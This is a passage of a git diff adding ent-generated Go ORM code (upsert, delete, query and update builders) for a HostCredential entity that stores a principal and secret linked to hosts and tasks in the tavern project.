+func (u *HostCredentialUpsertBulk) SetLastModifiedAt(v time.Time) *HostCredentialUpsertBulk {
+	return u.Update(func(s *HostCredentialUpsert) {
+		s.SetLastModifiedAt(v)
+	})
+}
+
+// UpdateLastModifiedAt sets the "last_modified_at" field to the value that was provided on create.
+func (u *HostCredentialUpsertBulk) UpdateLastModifiedAt() *HostCredentialUpsertBulk {
+	return u.Update(func(s *HostCredentialUpsert) {
+		s.UpdateLastModifiedAt()
+	})
+}
+
+// SetPrincipal sets the "principal" field.
+func (u *HostCredentialUpsertBulk) SetPrincipal(v string) *HostCredentialUpsertBulk {
+	return u.Update(func(s *HostCredentialUpsert) {
+		s.SetPrincipal(v)
+	})
+}
+
+// UpdatePrincipal sets the "principal" field to the value that was provided on create.
+func (u *HostCredentialUpsertBulk) UpdatePrincipal() *HostCredentialUpsertBulk {
+	return u.Update(func(s *HostCredentialUpsert) {
+		s.UpdatePrincipal()
+	})
+}
+
+// SetSecret sets the "secret" field.
+func (u *HostCredentialUpsertBulk) SetSecret(v string) *HostCredentialUpsertBulk {
+	return u.Update(func(s *HostCredentialUpsert) {
+		s.SetSecret(v)
+	})
+}
+
+// UpdateSecret sets the "secret" field to the value that was provided on create.
+func (u *HostCredentialUpsertBulk) UpdateSecret() *HostCredentialUpsertBulk {
+	return u.Update(func(s *HostCredentialUpsert) {
+		s.UpdateSecret()
+	})
+}
+
+// Exec executes the query.
+func (u *HostCredentialUpsertBulk) Exec(ctx context.Context) error {
+	if u.create.err != nil {
+		return u.create.err
+	}
+	for i, b := range u.create.builders {
+		if len(b.conflict) != 0 {
+			return fmt.Errorf("ent: OnConflict was set for builder %d. Set it on the HostCredentialCreateBulk instead", i)
+		}
+	}
+	if len(u.create.conflict) == 0 {
+		return errors.New("ent: missing options for HostCredentialCreateBulk.OnConflict")
+	}
+	return u.create.Exec(ctx)
+}
+
+// ExecX is like Exec, but panics if an error occurs.
+func (u *HostCredentialUpsertBulk) ExecX(ctx context.Context) {
+	if err := u.create.Exec(ctx); err != nil {
+		panic(err)
+	}
+}
diff --git a/tavern/internal/ent/hostcredential_delete.go b/tavern/internal/ent/hostcredential_delete.go
new file mode 100644
index 000000000..35ba095a2
--- /dev/null
+++ b/tavern/internal/ent/hostcredential_delete.go
@@ -0,0 +1,88 @@
+// Code generated by ent, DO NOT EDIT.
+
+package ent
+
+import (
+	"context"
+
+	"entgo.io/ent/dialect/sql"
+	"entgo.io/ent/dialect/sql/sqlgraph"
+	"entgo.io/ent/schema/field"
+	"realm.pub/tavern/internal/ent/hostcredential"
+	"realm.pub/tavern/internal/ent/predicate"
+)
+
+// HostCredentialDelete is the builder for deleting a HostCredential entity.
+type HostCredentialDelete struct {
+	config
+	hooks    []Hook
+	mutation *HostCredentialMutation
+}
+
+// Where appends a list predicates to the HostCredentialDelete builder.
+func (hcd *HostCredentialDelete) Where(ps ...predicate.HostCredential) *HostCredentialDelete {
+	hcd.mutation.Where(ps...)
+	return hcd
+}
+
+// Exec executes the deletion query and returns how many vertices were deleted.
+func (hcd *HostCredentialDelete) Exec(ctx context.Context) (int, error) {
+	return withHooks(ctx, hcd.sqlExec, hcd.mutation, hcd.hooks)
+}
+
+// ExecX is like Exec, but panics if an error occurs.
+func (hcd *HostCredentialDelete) ExecX(ctx context.Context) int {
+	n, err := hcd.Exec(ctx)
+	if err != nil {
+		panic(err)
+	}
+	return n
+}
+
+func (hcd *HostCredentialDelete) sqlExec(ctx context.Context) (int, error) {
+	_spec := sqlgraph.NewDeleteSpec(hostcredential.Table, sqlgraph.NewFieldSpec(hostcredential.FieldID, field.TypeInt))
+	if ps := hcd.mutation.predicates; len(ps) > 0 {
+		_spec.Predicate = func(selector *sql.Selector) {
+			for i := range ps {
+				ps[i](selector)
+			}
+		}
+	}
+	affected, err := sqlgraph.DeleteNodes(ctx, hcd.driver, _spec)
+	if err != nil && sqlgraph.IsConstraintError(err) {
+		err = &ConstraintError{msg: err.Error(), wrap: err}
+	}
+	hcd.mutation.done = true
+	return affected, err
+}
+
+// HostCredentialDeleteOne is the builder for deleting a single HostCredential entity.
+type HostCredentialDeleteOne struct {
+	hcd *HostCredentialDelete
+}
+
+// Where appends a list predicates to the HostCredentialDelete builder.
+func (hcdo *HostCredentialDeleteOne) Where(ps ...predicate.HostCredential) *HostCredentialDeleteOne {
+	hcdo.hcd.mutation.Where(ps...)
+	return hcdo
+}
+
+// Exec executes the deletion query.
+func (hcdo *HostCredentialDeleteOne) Exec(ctx context.Context) error {
+	n, err := hcdo.hcd.Exec(ctx)
+	switch {
+	case err != nil:
+		return err
+	case n == 0:
+		return &NotFoundError{hostcredential.Label}
+	default:
+		return nil
+	}
+}
+
+// ExecX is like Exec, but panics if an error occurs.
+func (hcdo *HostCredentialDeleteOne) ExecX(ctx context.Context) {
+	if err := hcdo.Exec(ctx); err != nil {
+		panic(err)
+	}
+}
diff --git a/tavern/internal/ent/hostcredential_query.go b/tavern/internal/ent/hostcredential_query.go
new file mode 100644
index 000000000..89773f890
--- /dev/null
+++ b/tavern/internal/ent/hostcredential_query.go
@@ -0,0 +1,701 @@
+// Code generated by ent, DO NOT EDIT.
+
+package ent
+
+import (
+	"context"
+	"fmt"
+	"math"
+
+	"entgo.io/ent/dialect/sql"
+	"entgo.io/ent/dialect/sql/sqlgraph"
+	"entgo.io/ent/schema/field"
+	"realm.pub/tavern/internal/ent/host"
+	"realm.pub/tavern/internal/ent/hostcredential"
+	"realm.pub/tavern/internal/ent/predicate"
+	"realm.pub/tavern/internal/ent/task"
+)
+
+// HostCredentialQuery is the builder for querying HostCredential entities.
+type HostCredentialQuery struct {
+	config
+	ctx        *QueryContext
+	order      []hostcredential.OrderOption
+	inters     []Interceptor
+	predicates []predicate.HostCredential
+	withHost   *HostQuery
+	withTask   *TaskQuery
+	withFKs    bool
+	modifiers  []func(*sql.Selector)
+	loadTotal  []func(context.Context, []*HostCredential) error
+	// intermediate query (i.e. traversal path).
+	sql  *sql.Selector
+	path func(context.Context) (*sql.Selector, error)
+}
+
+// Where adds a new predicate for the HostCredentialQuery builder.
+func (hcq *HostCredentialQuery) Where(ps ...predicate.HostCredential) *HostCredentialQuery {
+	hcq.predicates = append(hcq.predicates, ps...)
+	return hcq
+}
+
+// Limit the number of records to be returned by this query.
+func (hcq *HostCredentialQuery) Limit(limit int) *HostCredentialQuery {
+	hcq.ctx.Limit = &limit
+	return hcq
+}
+
+// Offset to start from.
+func (hcq *HostCredentialQuery) Offset(offset int) *HostCredentialQuery {
+	hcq.ctx.Offset = &offset
+	return hcq
+}
+
+// Unique configures the query builder to filter duplicate records on query.
+// By default, unique is set to true, and can be disabled using this method.
+func (hcq *HostCredentialQuery) Unique(unique bool) *HostCredentialQuery {
+	hcq.ctx.Unique = &unique
+	return hcq
+}
+
+// Order specifies how the records should be ordered.
+func (hcq *HostCredentialQuery) Order(o ...hostcredential.OrderOption) *HostCredentialQuery {
+	hcq.order = append(hcq.order, o...)
+	return hcq
+}
+
+// QueryHost chains the current query on the "host" edge.
+func (hcq *HostCredentialQuery) QueryHost() *HostQuery {
+	query := (&HostClient{config: hcq.config}).Query()
+	query.path = func(ctx context.Context) (fromU *sql.Selector, err error) {
+		if err := hcq.prepareQuery(ctx); err != nil {
+			return nil, err
+		}
+		selector := hcq.sqlQuery(ctx)
+		if err := selector.Err(); err != nil {
+			return nil, err
+		}
+		step := sqlgraph.NewStep(
+			sqlgraph.From(hostcredential.Table, hostcredential.FieldID, selector),
+			sqlgraph.To(host.Table, host.FieldID),
+			sqlgraph.Edge(sqlgraph.M2O, false, hostcredential.HostTable, hostcredential.HostColumn),
+		)
+		fromU = sqlgraph.SetNeighbors(hcq.driver.Dialect(), step)
+		return fromU, nil
+	}
+	return query
+}
+
+// QueryTask chains the current query on the "task" edge.
+func (hcq *HostCredentialQuery) QueryTask() *TaskQuery {
+	query := (&TaskClient{config: hcq.config}).Query()
+	query.path = func(ctx context.Context) (fromU *sql.Selector, err error) {
+		if err := hcq.prepareQuery(ctx); err != nil {
+			return nil, err
+		}
+		selector := hcq.sqlQuery(ctx)
+		if err := selector.Err(); err != nil {
+			return nil, err
+		}
+		step := sqlgraph.NewStep(
+			sqlgraph.From(hostcredential.Table, hostcredential.FieldID, selector),
+			sqlgraph.To(task.Table, task.FieldID),
+			sqlgraph.Edge(sqlgraph.M2O, true, hostcredential.TaskTable, hostcredential.TaskColumn),
+		)
+		fromU = sqlgraph.SetNeighbors(hcq.driver.Dialect(), step)
+		return fromU, nil
+	}
+	return query
+}
+
+// First returns the first HostCredential entity from the query.
+// Returns a *NotFoundError when no HostCredential was found.
+func (hcq *HostCredentialQuery) First(ctx context.Context) (*HostCredential, error) {
+	nodes, err := hcq.Limit(1).All(setContextOp(ctx, hcq.ctx, "First"))
+	if err != nil {
+		return nil, err
+	}
+	if len(nodes) == 0 {
+		return nil, &NotFoundError{hostcredential.Label}
+	}
+	return nodes[0], nil
+}
+
+// FirstX is like First, but panics if an error occurs.
+func (hcq *HostCredentialQuery) FirstX(ctx context.Context) *HostCredential {
+	node, err := hcq.First(ctx)
+	if err != nil && !IsNotFound(err) {
+		panic(err)
+	}
+	return node
+}
+
+// FirstID returns the first HostCredential ID from the query.
+// Returns a *NotFoundError when no HostCredential ID was found.
+func (hcq *HostCredentialQuery) FirstID(ctx context.Context) (id int, err error) {
+	var ids []int
+	if ids, err = hcq.Limit(1).IDs(setContextOp(ctx, hcq.ctx, "FirstID")); err != nil {
+		return
+	}
+	if len(ids) == 0 {
+		err = &NotFoundError{hostcredential.Label}
+		return
+	}
+	return ids[0], nil
+}
+
+// FirstIDX is like FirstID, but panics if an error occurs.
+func (hcq *HostCredentialQuery) FirstIDX(ctx context.Context) int {
+	id, err := hcq.FirstID(ctx)
+	if err != nil && !IsNotFound(err) {
+		panic(err)
+	}
+	return id
+}
+
+// Only returns a single HostCredential entity found by the query, ensuring it only returns one.
+// Returns a *NotSingularError when more than one HostCredential entity is found.
+// Returns a *NotFoundError when no HostCredential entities are found.
+func (hcq *HostCredentialQuery) Only(ctx context.Context) (*HostCredential, error) {
+	nodes, err := hcq.Limit(2).All(setContextOp(ctx, hcq.ctx, "Only"))
+	if err != nil {
+		return nil, err
+	}
+	switch len(nodes) {
+	case 1:
+		return nodes[0], nil
+	case 0:
+		return nil, &NotFoundError{hostcredential.Label}
+	default:
+		return nil, &NotSingularError{hostcredential.Label}
+	}
+}
+
+// OnlyX is like Only, but panics if an error occurs.
+func (hcq *HostCredentialQuery) OnlyX(ctx context.Context) *HostCredential {
+	node, err := hcq.Only(ctx)
+	if err != nil {
+		panic(err)
+	}
+	return node
+}
+
+// OnlyID is like Only, but returns the only HostCredential ID in the query.
+// Returns a *NotSingularError when more than one HostCredential ID is found.
+// Returns a *NotFoundError when no entities are found.
+func (hcq *HostCredentialQuery) OnlyID(ctx context.Context) (id int, err error) {
+	var ids []int
+	if ids, err = hcq.Limit(2).IDs(setContextOp(ctx, hcq.ctx, "OnlyID")); err != nil {
+		return
+	}
+	switch len(ids) {
+	case 1:
+		id = ids[0]
+	case 0:
+		err = &NotFoundError{hostcredential.Label}
+	default:
+		err = &NotSingularError{hostcredential.Label}
+	}
+	return
+}
+
+// OnlyIDX is like OnlyID, but panics if an error occurs.
+func (hcq *HostCredentialQuery) OnlyIDX(ctx context.Context) int {
+	id, err := hcq.OnlyID(ctx)
+	if err != nil {
+		panic(err)
+	}
+	return id
+}
+
+// All executes the query and returns a list of HostCredentials.
+func (hcq *HostCredentialQuery) All(ctx context.Context) ([]*HostCredential, error) {
+	ctx = setContextOp(ctx, hcq.ctx, "All")
+	if err := hcq.prepareQuery(ctx); err != nil {
+		return nil, err
+	}
+	qr := querierAll[[]*HostCredential, *HostCredentialQuery]()
+	return withInterceptors[[]*HostCredential](ctx, hcq, qr, hcq.inters)
+}
+
+// AllX is like All, but panics if an error occurs.
+func (hcq *HostCredentialQuery) AllX(ctx context.Context) []*HostCredential {
+	nodes, err := hcq.All(ctx)
+	if err != nil {
+		panic(err)
+	}
+	return nodes
+}
+
+// IDs executes the query and returns a list of HostCredential IDs.
+func (hcq *HostCredentialQuery) IDs(ctx context.Context) (ids []int, err error) {
+	if hcq.ctx.Unique == nil && hcq.path != nil {
+		hcq.Unique(true)
+	}
+	ctx = setContextOp(ctx, hcq.ctx, "IDs")
+	if err = hcq.Select(hostcredential.FieldID).Scan(ctx, &ids); err != nil {
+		return nil, err
+	}
+	return ids, nil
+}
+
+// IDsX is like IDs, but panics if an error occurs.
+func (hcq *HostCredentialQuery) IDsX(ctx context.Context) []int {
+	ids, err := hcq.IDs(ctx)
+	if err != nil {
+		panic(err)
+	}
+	return ids
+}
+
+// Count returns the count of the given query.
+func (hcq *HostCredentialQuery) Count(ctx context.Context) (int, error) {
+	ctx = setContextOp(ctx, hcq.ctx, "Count")
+	if err := hcq.prepareQuery(ctx); err != nil {
+		return 0, err
+	}
+	return withInterceptors[int](ctx, hcq, querierCount[*HostCredentialQuery](), hcq.inters)
+}
+
+// CountX is like Count, but panics if an error occurs.
+func (hcq *HostCredentialQuery) CountX(ctx context.Context) int {
+	count, err := hcq.Count(ctx)
+	if err != nil {
+		panic(err)
+	}
+	return count
+}
+
+// Exist returns true if the query has elements in the graph.
+func (hcq *HostCredentialQuery) Exist(ctx context.Context) (bool, error) {
+	ctx = setContextOp(ctx, hcq.ctx, "Exist")
+	switch _, err := hcq.FirstID(ctx); {
+	case IsNotFound(err):
+		return false, nil
+	case err != nil:
+		return false, fmt.Errorf("ent: check existence: %w", err)
+	default:
+		return true, nil
+	}
+}
+
+// ExistX is like Exist, but panics if an error occurs.
+func (hcq *HostCredentialQuery) ExistX(ctx context.Context) bool {
+	exist, err := hcq.Exist(ctx)
+	if err != nil {
+		panic(err)
+	}
+	return exist
+}
+
+// Clone returns a duplicate of the HostCredentialQuery builder, including all associated steps. It can be
+// used to prepare common query builders and use them differently after the clone is made.
+func (hcq *HostCredentialQuery) Clone() *HostCredentialQuery {
+	if hcq == nil {
+		return nil
+	}
+	return &HostCredentialQuery{
+		config:     hcq.config,
+		ctx:        hcq.ctx.Clone(),
+		order:      append([]hostcredential.OrderOption{}, hcq.order...),
+		inters:     append([]Interceptor{}, hcq.inters...),
+		predicates: append([]predicate.HostCredential{}, hcq.predicates...),
+		withHost:   hcq.withHost.Clone(),
+		withTask:   hcq.withTask.Clone(),
+		// clone intermediate query.
+		sql:  hcq.sql.Clone(),
+		path: hcq.path,
+	}
+}
+
+// WithHost tells the query-builder to eager-load the nodes that are connected to
+// the "host" edge. The optional arguments are used to configure the query builder of the edge.
+func (hcq *HostCredentialQuery) WithHost(opts ...func(*HostQuery)) *HostCredentialQuery {
+	query := (&HostClient{config: hcq.config}).Query()
+	for _, opt := range opts {
+		opt(query)
+	}
+	hcq.withHost = query
+	return hcq
+}
+
+// WithTask tells the query-builder to eager-load the nodes that are connected to
+// the "task" edge. The optional arguments are used to configure the query builder of the edge.
+func (hcq *HostCredentialQuery) WithTask(opts ...func(*TaskQuery)) *HostCredentialQuery {
+	query := (&TaskClient{config: hcq.config}).Query()
+	for _, opt := range opts {
+		opt(query)
+	}
+	hcq.withTask = query
+	return hcq
+}
+
+// GroupBy is used to group vertices by one or more fields/columns.
+// It is often used with aggregate functions, like: count, max, mean, min, sum.
+//
+// Example:
+//
+//	var v []struct {
+//		CreatedAt time.Time `json:"created_at,omitempty"`
+//		Count int `json:"count,omitempty"`
+//	}
+//
+//	client.HostCredential.Query().
+//		GroupBy(hostcredential.FieldCreatedAt).
+//		Aggregate(ent.Count()).
+//		Scan(ctx, &v)
+func (hcq *HostCredentialQuery) GroupBy(field string, fields ...string) *HostCredentialGroupBy {
+	hcq.ctx.Fields = append([]string{field}, fields...)
+	grbuild := &HostCredentialGroupBy{build: hcq}
+	grbuild.flds = &hcq.ctx.Fields
+	grbuild.label = hostcredential.Label
+	grbuild.scan = grbuild.Scan
+	return grbuild
+}
+
+// Select allows the selection one or more fields/columns for the given query,
+// instead of selecting all fields in the entity.
+//
+// Example:
+//
+//	var v []struct {
+//		CreatedAt time.Time `json:"created_at,omitempty"`
+//	}
+//
+//	client.HostCredential.Query().
+//		Select(hostcredential.FieldCreatedAt).
+//		Scan(ctx, &v)
+func (hcq *HostCredentialQuery) Select(fields ...string) *HostCredentialSelect {
+	hcq.ctx.Fields = append(hcq.ctx.Fields, fields...)
+	sbuild := &HostCredentialSelect{HostCredentialQuery: hcq}
+	sbuild.label = hostcredential.Label
+	sbuild.flds, sbuild.scan = &hcq.ctx.Fields, sbuild.Scan
+	return sbuild
+}
+
+// Aggregate returns a HostCredentialSelect configured with the given aggregations.
+func (hcq *HostCredentialQuery) Aggregate(fns ...AggregateFunc) *HostCredentialSelect {
+	return hcq.Select().Aggregate(fns...)
+}
+
+func (hcq *HostCredentialQuery) prepareQuery(ctx context.Context) error {
+	for _, inter := range hcq.inters {
+		if inter == nil {
+			return fmt.Errorf("ent: uninitialized interceptor (forgotten import ent/runtime?)")
+		}
+		if trv, ok := inter.(Traverser); ok {
+			if err := trv.Traverse(ctx, hcq); err != nil {
+				return err
+			}
+		}
+	}
+	for _, f := range hcq.ctx.Fields {
+		if !hostcredential.ValidColumn(f) {
+			return &ValidationError{Name: f, err: fmt.Errorf("ent: invalid field %q for query", f)}
+		}
+	}
+	if hcq.path != nil {
+		prev, err := hcq.path(ctx)
+		if err != nil {
+			return err
+		}
+		hcq.sql = prev
+	}
+	return nil
+}
+
+func (hcq *HostCredentialQuery) sqlAll(ctx context.Context, hooks ...queryHook) ([]*HostCredential, error) {
+	var (
+		nodes       = []*HostCredential{}
+		withFKs     = hcq.withFKs
+		_spec       = hcq.querySpec()
+		loadedTypes = [2]bool{
+			hcq.withHost != nil,
+			hcq.withTask != nil,
+		}
+	)
+	if hcq.withHost != nil || hcq.withTask != nil {
+		withFKs = true
+	}
+	if withFKs {
+		_spec.Node.Columns = append(_spec.Node.Columns, hostcredential.ForeignKeys...)
+	}
+	_spec.ScanValues = func(columns []string) ([]any, error) {
+		return (*HostCredential).scanValues(nil, columns)
+	}
+	_spec.Assign = func(columns []string, values []any) error {
+		node := &HostCredential{config: hcq.config}
+		nodes = append(nodes, node)
+		node.Edges.loadedTypes = loadedTypes
+		return node.assignValues(columns, values)
+	}
+	if len(hcq.modifiers) > 0 {
+		_spec.Modifiers = hcq.modifiers
+	}
+	for i := range hooks {
+		hooks[i](ctx, _spec)
+	}
+	if err := sqlgraph.QueryNodes(ctx, hcq.driver, _spec); err != nil {
+		return nil, err
+	}
+	if len(nodes) == 0 {
+		return nodes, nil
+	}
+	if query := hcq.withHost; query != nil {
+		if err := hcq.loadHost(ctx, query, nodes, nil,
+			func(n *HostCredential, e *Host) { n.Edges.Host = e }); err != nil {
+			return nil, err
+		}
+	}
+	if query := hcq.withTask; query != nil {
+		if err := hcq.loadTask(ctx, query, nodes, nil,
+			func(n *HostCredential, e *Task) { n.Edges.Task = e }); err != nil {
+			return nil, err
+		}
+	}
+	for i := range hcq.loadTotal {
+		if err := hcq.loadTotal[i](ctx, nodes); err != nil {
+			return nil, err
+		}
+	}
+	return nodes, nil
+}
+
+func (hcq *HostCredentialQuery) loadHost(ctx context.Context, query *HostQuery, nodes []*HostCredential, init func(*HostCredential), assign func(*HostCredential, *Host)) error {
+	ids := make([]int, 0, len(nodes))
+	nodeids := make(map[int][]*HostCredential)
+	for i := range nodes {
+		if nodes[i].host_credential_host == nil {
+			continue
+		}
+		fk := *nodes[i].host_credential_host
+		if _, ok := nodeids[fk]; !ok {
+			ids = append(ids, fk)
+		}
+		nodeids[fk] = append(nodeids[fk], nodes[i])
+	}
+	if len(ids) == 0 {
+		return nil
+	}
+	query.Where(host.IDIn(ids...))
+	neighbors, err := query.All(ctx)
+	if err != nil {
+		return err
+	}
+	for _, n := range neighbors {
+		nodes, ok := nodeids[n.ID]
+		if !ok {
+			return fmt.Errorf(`unexpected foreign-key "host_credential_host" returned %v`, n.ID)
+		}
+		for i := range nodes {
+			assign(nodes[i], n)
+		}
+	}
+	return nil
+}
+func (hcq *HostCredentialQuery) loadTask(ctx context.Context, query *TaskQuery, nodes []*HostCredential, init func(*HostCredential), assign func(*HostCredential, *Task)) error {
+	ids := make([]int, 0, len(nodes))
+	nodeids := make(map[int][]*HostCredential)
+	for i := range nodes {
+		if nodes[i].task_reported_credentials == nil {
+			continue
+		}
+		fk := *nodes[i].task_reported_credentials
+		if _, ok := nodeids[fk]; !ok {
+			ids = append(ids, fk)
+		}
+		nodeids[fk] = append(nodeids[fk], nodes[i])
+	}
+	if len(ids) == 0 {
+		return nil
+	}
+	query.Where(task.IDIn(ids...))
+	neighbors, err := query.All(ctx)
+	if err != nil {
+		return err
+	}
+	for _, n := range neighbors {
+		nodes, ok := nodeids[n.ID]
+		if !ok {
+			return fmt.Errorf(`unexpected foreign-key "task_reported_credentials" returned %v`, n.ID)
+		}
+		for i := range nodes {
+			assign(nodes[i], n)
+		}
+	}
+	return nil
+}
+
+func (hcq *HostCredentialQuery) sqlCount(ctx context.Context) (int, error) {
+	_spec := hcq.querySpec()
+	if len(hcq.modifiers) > 0 {
+		_spec.Modifiers = hcq.modifiers
+	}
+	_spec.Node.Columns = hcq.ctx.Fields
+	if len(hcq.ctx.Fields) > 0 {
+		_spec.Unique = hcq.ctx.Unique != nil && *hcq.ctx.Unique
+	}
+	return sqlgraph.CountNodes(ctx, hcq.driver, _spec)
+}
+
+func (hcq *HostCredentialQuery) querySpec() *sqlgraph.QuerySpec {
+	_spec := sqlgraph.NewQuerySpec(hostcredential.Table, hostcredential.Columns, sqlgraph.NewFieldSpec(hostcredential.FieldID, field.TypeInt))
+	_spec.From = hcq.sql
+	if unique := hcq.ctx.Unique; unique != nil {
+		_spec.Unique = *unique
+	} else if hcq.path != nil {
+		_spec.Unique = true
+	}
+	if fields := hcq.ctx.Fields; len(fields) > 0 {
+		_spec.Node.Columns = make([]string, 0, len(fields))
+		_spec.Node.Columns = append(_spec.Node.Columns, hostcredential.FieldID)
+		for i := range fields {
+			if fields[i] != hostcredential.FieldID {
+				_spec.Node.Columns = append(_spec.Node.Columns, fields[i])
+			}
+		}
+	}
+	if ps := hcq.predicates; len(ps) > 0 {
+		_spec.Predicate = func(selector *sql.Selector) {
+			for i := range ps {
+				ps[i](selector)
+			}
+		}
+	}
+	if limit := hcq.ctx.Limit; limit != nil {
+		_spec.Limit = *limit
+	}
+	if offset := hcq.ctx.Offset; offset != nil {
+		_spec.Offset = *offset
+	}
+	if ps := hcq.order; len(ps) > 0 {
+		_spec.Order = func(selector *sql.Selector) {
+			for i := range ps {
+				ps[i](selector)
+			}
+		}
+	}
+	return _spec
+}
+
+func (hcq *HostCredentialQuery) sqlQuery(ctx context.Context) *sql.Selector {
+	builder := sql.Dialect(hcq.driver.Dialect())
+	t1 := builder.Table(hostcredential.Table)
+	columns := hcq.ctx.Fields
+	if len(columns) == 0 {
+		columns = hostcredential.Columns
+	}
+	selector := builder.Select(t1.Columns(columns...)...).From(t1)
+	if hcq.sql != nil {
+		selector = hcq.sql
+		selector.Select(selector.Columns(columns...)...)
+	}
+	if hcq.ctx.Unique != nil && *hcq.ctx.Unique {
+		selector.Distinct()
+	}
+	for _, p := range hcq.predicates {
+		p(selector)
+	}
+	for _, p := range hcq.order {
+		p(selector)
+	}
+	if offset := hcq.ctx.Offset; offset != nil {
+		// limit is mandatory for offset clause. We start
+		// with default value, and override it below if needed.
+		selector.Offset(*offset).Limit(math.MaxInt32)
+	}
+	if limit := hcq.ctx.Limit; limit != nil {
+		selector.Limit(*limit)
+	}
+	return selector
+}
+
+// HostCredentialGroupBy is the group-by builder for HostCredential entities.
+type HostCredentialGroupBy struct {
+	selector
+	build *HostCredentialQuery
+}
+
+// Aggregate adds the given aggregation functions to the group-by query.
+func (hcgb *HostCredentialGroupBy) Aggregate(fns ...AggregateFunc) *HostCredentialGroupBy {
+	hcgb.fns = append(hcgb.fns, fns...)
+	return hcgb
+}
+
+// Scan applies the selector query and scans the result into the given value.
+func (hcgb *HostCredentialGroupBy) Scan(ctx context.Context, v any) error {
+	ctx = setContextOp(ctx, hcgb.build.ctx, "GroupBy")
+	if err := hcgb.build.prepareQuery(ctx); err != nil {
+		return err
+	}
+	return scanWithInterceptors[*HostCredentialQuery, *HostCredentialGroupBy](ctx, hcgb.build, hcgb, hcgb.build.inters, v)
+}
+
+func (hcgb *HostCredentialGroupBy) sqlScan(ctx context.Context, root *HostCredentialQuery, v any) error {
+	selector := root.sqlQuery(ctx).Select()
+	aggregation := make([]string, 0, len(hcgb.fns))
+	for _, fn := range hcgb.fns {
+		aggregation = append(aggregation, fn(selector))
+	}
+	if len(selector.SelectedColumns()) == 0 {
+		columns := make([]string, 0, len(*hcgb.flds)+len(hcgb.fns))
+		for _, f := range *hcgb.flds {
+			columns = append(columns, selector.C(f))
+		}
+		columns = append(columns, aggregation...)
+		selector.Select(columns...)
+	}
+	selector.GroupBy(selector.Columns(*hcgb.flds...)...)
+	if err := selector.Err(); err != nil {
+		return err
+	}
+	rows := &sql.Rows{}
+	query, args := selector.Query()
+	if err := hcgb.build.driver.Query(ctx, query, args, rows); err != nil {
+		return err
+	}
+	defer rows.Close()
+	return sql.ScanSlice(rows, v)
+}
+
+// HostCredentialSelect is the builder for selecting fields of HostCredential entities.
+type HostCredentialSelect struct {
+	*HostCredentialQuery
+	selector
+}
+
+// Aggregate adds the given aggregation functions to the selector query.
+func (hcs *HostCredentialSelect) Aggregate(fns ...AggregateFunc) *HostCredentialSelect {
+	hcs.fns = append(hcs.fns, fns...)
+	return hcs
+}
+
+// Scan applies the selector query and scans the result into the given value.
+func (hcs *HostCredentialSelect) Scan(ctx context.Context, v any) error {
+	ctx = setContextOp(ctx, hcs.ctx, "Select")
+	if err := hcs.prepareQuery(ctx); err != nil {
+		return err
+	}
+	return scanWithInterceptors[*HostCredentialQuery, *HostCredentialSelect](ctx, hcs.HostCredentialQuery, hcs, hcs.inters, v)
+}
+
+func (hcs *HostCredentialSelect) sqlScan(ctx context.Context, root *HostCredentialQuery, v any) error {
+	selector := root.sqlQuery(ctx)
+	aggregation := make([]string, 0, len(hcs.fns))
+	for _, fn := range hcs.fns {
+		aggregation = append(aggregation, fn(selector))
+	}
+	switch n := len(*hcs.selector.flds); {
+	case n == 0 && len(aggregation) > 0:
+		selector.Select(aggregation...)
+	case n != 0 && len(aggregation) > 0:
+		selector.AppendSelect(aggregation...)
+	}
+	rows := &sql.Rows{}
+	query, args := selector.Query()
+	if err := hcs.driver.Query(ctx, query, args, rows); err != nil {
+		return err
+	}
+	defer rows.Close()
+	return sql.ScanSlice(rows, v)
+}
diff --git a/tavern/internal/ent/hostcredential_update.go b/tavern/internal/ent/hostcredential_update.go
new file mode 100644
index 000000000..6ac914039
--- /dev/null
+++ b/tavern/internal/ent/hostcredential_update.go
@@ -0,0 +1,482 @@
+// Code generated by ent, DO NOT EDIT.
+
+package ent
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"time"
+
+	"entgo.io/ent/dialect/sql"
+	"entgo.io/ent/dialect/sql/sqlgraph"
+	"entgo.io/ent/schema/field"
+	"realm.pub/tavern/internal/ent/host"
+	"realm.pub/tavern/internal/ent/hostcredential"
+	"realm.pub/tavern/internal/ent/predicate"
+	"realm.pub/tavern/internal/ent/task"
+)
+
+// HostCredentialUpdate is the builder for updating HostCredential entities.
+type HostCredentialUpdate struct {
+	config
+	hooks    []Hook
+	mutation *HostCredentialMutation
+}
+
+// Where appends a list predicates to the HostCredentialUpdate builder.
+func (hcu *HostCredentialUpdate) Where(ps ...predicate.HostCredential) *HostCredentialUpdate {
+	hcu.mutation.Where(ps...)
+	return hcu
+}
+
+// SetLastModifiedAt sets the "last_modified_at" field.
+func (hcu *HostCredentialUpdate) SetLastModifiedAt(t time.Time) *HostCredentialUpdate {
+	hcu.mutation.SetLastModifiedAt(t)
+	return hcu
+}
+
+// SetPrincipal sets the "principal" field.
+func (hcu *HostCredentialUpdate) SetPrincipal(s string) *HostCredentialUpdate {
+	hcu.mutation.SetPrincipal(s)
+	return hcu
+}
+
+// SetSecret sets the "secret" field.
+func (hcu *HostCredentialUpdate) SetSecret(s string) *HostCredentialUpdate {
+	hcu.mutation.SetSecret(s)
+	return hcu
+}
+
+// SetHostID sets the "host" edge to the Host entity by ID.
+func (hcu *HostCredentialUpdate) SetHostID(id int) *HostCredentialUpdate {
+	hcu.mutation.SetHostID(id)
+	return hcu
+}
+
+// SetHost sets the "host" edge to the Host entity.
+func (hcu *HostCredentialUpdate) SetHost(h *Host) *HostCredentialUpdate {
+	return hcu.SetHostID(h.ID)
+}
+
+// SetTaskID sets the "task" edge to the Task entity by ID.
+func (hcu *HostCredentialUpdate) SetTaskID(id int) *HostCredentialUpdate {
+	hcu.mutation.SetTaskID(id)
+	return hcu
+}
+
+// SetTask sets the "task" edge to the Task entity.
+func (hcu *HostCredentialUpdate) SetTask(t *Task) *HostCredentialUpdate {
+	return hcu.SetTaskID(t.ID)
+}
+
+// Mutation returns the HostCredentialMutation object of the builder.
+func (hcu *HostCredentialUpdate) Mutation() *HostCredentialMutation {
+	return hcu.mutation
+}
+
+// ClearHost clears the "host" edge to the Host entity.
+func (hcu *HostCredentialUpdate) ClearHost() *HostCredentialUpdate {
+	hcu.mutation.ClearHost()
+	return hcu
+}
+
+// ClearTask clears the "task" edge to the Task entity.
+func (hcu *HostCredentialUpdate) ClearTask() *HostCredentialUpdate {
+	hcu.mutation.ClearTask()
+	return hcu
+}
+
+// Save executes the query and returns the number of nodes affected by the update operation.
+func (hcu *HostCredentialUpdate) Save(ctx context.Context) (int, error) {
+	hcu.defaults()
